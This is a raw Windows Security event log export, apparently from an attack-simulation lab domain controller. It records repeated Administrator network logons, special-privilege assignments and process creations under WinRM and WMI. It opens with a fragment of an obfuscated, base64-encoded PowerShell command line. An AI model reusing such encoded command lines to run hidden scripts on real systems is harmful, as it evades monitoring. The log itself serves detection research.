ASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247023 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFDAC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247022 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFDAC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247021 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247020 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247019 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFB45 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2d8 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247018 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFB45 - -Process Information: - New Process ID: 0x2d8 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247017 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFB45 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247016 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFB45 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247015 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247014 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247013 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFAF0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247012 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247011 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x934A1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247010 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFAF0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247009 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFAF0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247008 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247007 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247006 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFABE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247005 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFABE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247004 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFABE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247003 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247002 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247001 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDB957 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247000 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x94C48 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246999 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x936F7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247041 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd68 - New Process Name: C:\Windows\Temp\669666F2-2345-481B-9290-F1E50E39C287\DismHost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd24 - Creator Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Process Command Line: C:\Windows\TEMP\669666F2-2345-481B-9290-F1E50E39C287\dismhost.exe {2961654B-055F-4F0F-B700-763990392617} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247040 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd24 - New Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\wmiprvse.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247039 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xE1A07 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247038 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xE1A07 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247037 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - 